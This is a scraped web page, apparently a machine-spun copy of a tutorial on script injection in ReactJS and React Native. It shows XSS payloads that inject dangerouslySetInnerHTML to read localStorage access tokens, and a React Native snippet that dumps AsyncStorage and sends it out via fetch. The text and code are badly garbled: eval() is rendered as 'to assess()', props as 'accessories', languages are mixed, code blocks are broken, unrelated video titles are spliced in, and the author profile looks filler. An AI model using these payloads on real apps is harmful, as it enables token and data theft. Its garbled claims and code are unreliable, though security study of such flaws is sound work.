Investigate script injection errors in ReactJS applications (2023)

ReactJSis a popular JavaScript library for creating user interfaces. It enables client-rendered "rich" web applications that are fully loaded ahead of time, allowing for a smoother user experience.

Since React apps implement a lot of client-side logic in JavaScript, it seems unreasonable to assume that XSS-type attacks can be worthwhile.

It turns out that ReactJS is pretty secure by design whenever it'sused as it should be used. For example, string variables in views are automatically escaped. However, as with all good things in life, it's not impossible to screw things up. Script injection issues can be caused by poor programming practices, including the following:

  • Creation of React components from user-supplied objects;
  • Rendering links with user-supplied datahrefattributes or other HTML tags with injectable attributes (linktag, imports HTML5);
  • Explicitly define thedangerouslySetInnerHTMLsupport of an element;
  • Pass user-supplied strings toto assess().

In a world governed by Murphy's Law, all of this is guaranteed, so let's take a look.

Componentsthey are the basic building block of ReactJS. Conceptually, they are like JavaScript functions. They accept arbitrary input ("props") and return React elements that describe what should appear on the screen. A basic component looks like this:

Welcome class extends React.Component {render() {return <h1>Hola, {}</h1>;}}

Note the strange syntax in thegive backstatement: This isJSXGenericName, a syntax extension for JavaScript. During the compilation process, the JSX code istranspilationto normal JavaScript code (ES5). The following two examples are equivalent:

(Video) Cross-Site Scripting (XSS) Explained And Demonstrated By A Pro Hacker!

// JSXconstant element = (
<h1 className="greeting">
Hello World!
// Transpiled to the createElement() callconst elemento = React.createElement(
{className: 'greeting'},
'Hello World!'

New React elements are created from component classes using thecreateElement()Function:


This function takes three arguments:

  • typecan be a tag name string (like'div'o'period') or a component class. In React Native, only component classes are allowed.
  • accessoriescontains a list of attributes passed to the new element.
  • childrencontains the child nodes of the new element (which in turn are more React components).

There are multiple attack vectors if you can control any one of these arguments.

Inject us children

In March 2015, Daniel LeCheminant reported aCross-site scripting vulnerability stored in HackerOne. The issue was caused by the HackerOne web application passing an arbitrary user-supplied object as thechildrenargument toreagir.createElement(). Presumably, the vulnerable code should look like the following:

/* Retrieve a user-supplied stored value from the server and parse it as JSON for whatever reason.atacante_supplied_value = JSON.parse(some_user_input)
render() {
devolver <span>{attacker_supplied_value}</span>;

This JSX would translate to the following JavaScript:

React.createElement("span", null, attacker_supplied_value};

Whenattacker_supplied_valuewas a string as expected, this would produce a regularperiodelement. However, thecreateElement()The function in current version of ReactJS would also accept simple objects passed aschildren. Daniel took advantage of the problem by providing a JSON encoded object. He included thedangerouslySetInnerHTMLprop , which allows you to insert raw HTML into the output rendered by React. His final proof of concept was as follows:

_isReactElement: true,
_store: {},
type: "body",
accessories: {
"<h1>Arbitrary HTML</h1>
<script>alert('Sem suporte CSP :(')</script>
<a href=''>enlace</a>"

After posting on Daniel's blog, possible mitigations werediscussed on React.js GitHub. In November 2015, Sebastian Markbågemade a correction: React elements are now marked with the attribute$$typeof: Symbol.for('react.element').Since there is no way to reference a global JavaScript symbol from an injected object, Daniel's technique of injecting child elements can no longer be used.

(Video) TypeScript Dependency Injection using tsyringe

Control element type

Although simple objects no longer function as ReactJS elements, component injection is still notcompletelyimpossible, becausecreateElementalso accepts strings intypeargument. Suppose a developer did something like this:

// Dynamically creates an element from a string stored in the backend.element_name = stored_value;React.createElement(element_name, nulo);

Estored valueIf it were a chain controlled by an attacker, it would be possible to create an arbitrary React component. However, this would result in just a plain HTML element with no attributes (i.e. pretty useless to the attacker). To do anything useful, you must be able to control the properties of the newly created element.

injection accessories

Consider the following code:

// Parses the JSON provided by the attacker for some reason and passes
// the resulting object as props.
// Don't do this at home unless you're a trained expert!
attacker_props = JSON.parse(store_value)React.createElement("span", attacker_props};

Here, we can inject arbitrary props into the new element. We could use the following payload to define thedangerouslySetInnerHTMLproperty:

{"dangerouslySetInnerHTML": { "__html": "<img src=x/ onerror='alert(localStorage.access_token)'>"}}

Some traditional XSS vectors are also viable in ReactJS apps. Be aware of the following antipatterns:

Dangerously explicit setting SetInnerHTML

Developers can choose to set thedangerouslySetInnerHTMLSupport on purpose.

<div peligrosamenteSetInnerHTML={user_supplied} />

Of course, if you control the value of this prop, you can input whatever JavaScript you want.

(Video) SQL Injection For Beginners

injectable attributes

If you control thehrefattribute of a dynamically generatedalabel, there is nothing to stop you from injecting aJavaScript:URL some other attributes liketrainingin HTML5, the buttons also work in modern browsers.

<a href={userinput}>Anexar</a><button form="name" formation={user input}>

Another exotic injection vector that works in modern browsers is HTML5 imports:

<link rel="import" href={user_supplied}>

Server-side rendered HTML

To improve initial page load times, there has been a trend lately to pre-render React.JS pages on the server ("server-side rendering"). In November 2016,Emilia Smith notedthan the officialRestoredThe sample code for SSR resulted in a cross-site scripting vulnerability because the client state was concatenated in the pre-rendered page without escaping (thesample codeIt has been corrected).

Investigate script injection errors in ReactJS applications (1)

In short: if the HTML is pre-rendered on the server side, you could see the same kinds of XSS issues found in "normal" web apps.

Assessment based injection

If you can handle a string that is dynamically evaluated, you've hit the jackpot and can proceed to inject arbitrary code of your choice. This must be a rare occurrence.

(Video) This is the Only Right Way to Write React clean-code - SOLID

function antiPattern() {
// Or even crazierfn = new function("..." + attacker_supplied + "...");

XSS payload

In the modern world, session cookies are as outdated as manual typewriters and McGyver-style mullets. Today's agile developer uses stateless session tokens, neatly stored in local storage on the client side. Consequently, hackers need to adapt their payloads accordingly.

When exploiting an XSS attack in a ReactJS web app, you could inject something like the following to retrieve an access token from local storage and send it to your registrar:


react nativeis a mobile app framework that lets you createnativemobile applications using ReactJS. More specifically, it provides a runtime that can run React JavaScript packages on mobile devices.

In truthStartstyle, you can "port" a React Native app to work in common browsers usingReact native to web(web app on a mobile app on a web app). This means you build apps for Android, iOS, and desktop browsers from a single codebase.

From what I've seen so far, most of the script injection vectors listed above don't work in React Native:

  • react nativecreate inner componentThe method only accepts marked component classes, so even if you fully control the arguments forcreateElement()you cannot create arbitrary elements;
  • HTML elements do not exist and HTML is not parsed, so typical browser-based XSS vectors (eg.href) you cannot use.

only theto assess()The based variant appears to be exploitable on mobile devices. If you receive JavaScript code injected viato assess(), you can access native React APIs and do cool stuff. For example, you can steal all data from local storage (asynchronous storage) by doing something like:

_reactNative.AsyncStorage.getAllKeys(function(err,result){_reactNative.AsyncStorage.multiGet(result,function(err,result){fetch(''+JSON.stringify (result));});});

While ReactJS is pretty secure by design, it's not impossible to mess things up. Bad programming practices can lead to exploitable security vulnerabilities.

(Video) Cross Site Scripting | XSS | Web attacks | Web Technology | Lec - 56 | Bhanu Priya

  • Security testers: inject JavaScript and JSON wherever you can and see what happens.
  • Developers: do not use againto assess()odangerouslySetInnerHTML. Avoid parsing user-supplied JSON.


1. SQL injection | Web attacks | Web Technology | Lec - 58 | Bhanu Priya
(Education 4u)
2. Find Network Vulnerabilities with Nmap Scripts [Tutorial]
(Null Byte)
3. How to Inject TypeScript Into Existing Projects
(Coding Tech)
4. Tracking and handling errors in web applications by Mats Bryntse at sthlm.js #36
5. Debugging JavaScript - Chrome DevTools 101
(Google Chrome Developers)
6. #Security of #Information #Systems - Lecture 14: OWASP Top 10, Injection, XSS, Authentication Attack


Top Articles
Latest Posts
Article information

Author: Frankie Dare

Last Updated: 02/04/2023

Views: 6029

Rating: 4.2 / 5 (53 voted)

Reviews: 92% of readers found this page helpful

Author information

Name: Frankie Dare

Birthday: 2000-01-27

Address: Suite 313 45115 Caridad Freeway, Port Barabaraville, MS 66713

Phone: +3769542039359

Job: Sales Manager

Hobby: Baton twirling, Stand-up comedy, Leather crafting, Rugby, tabletop games, Jigsaw puzzles, Air sports

Introduction: My name is Frankie Dare, I am a funny, beautiful, proud, fair, pleasant, cheerful, enthusiastic person who loves writing and wants to share my knowledge and understanding with you.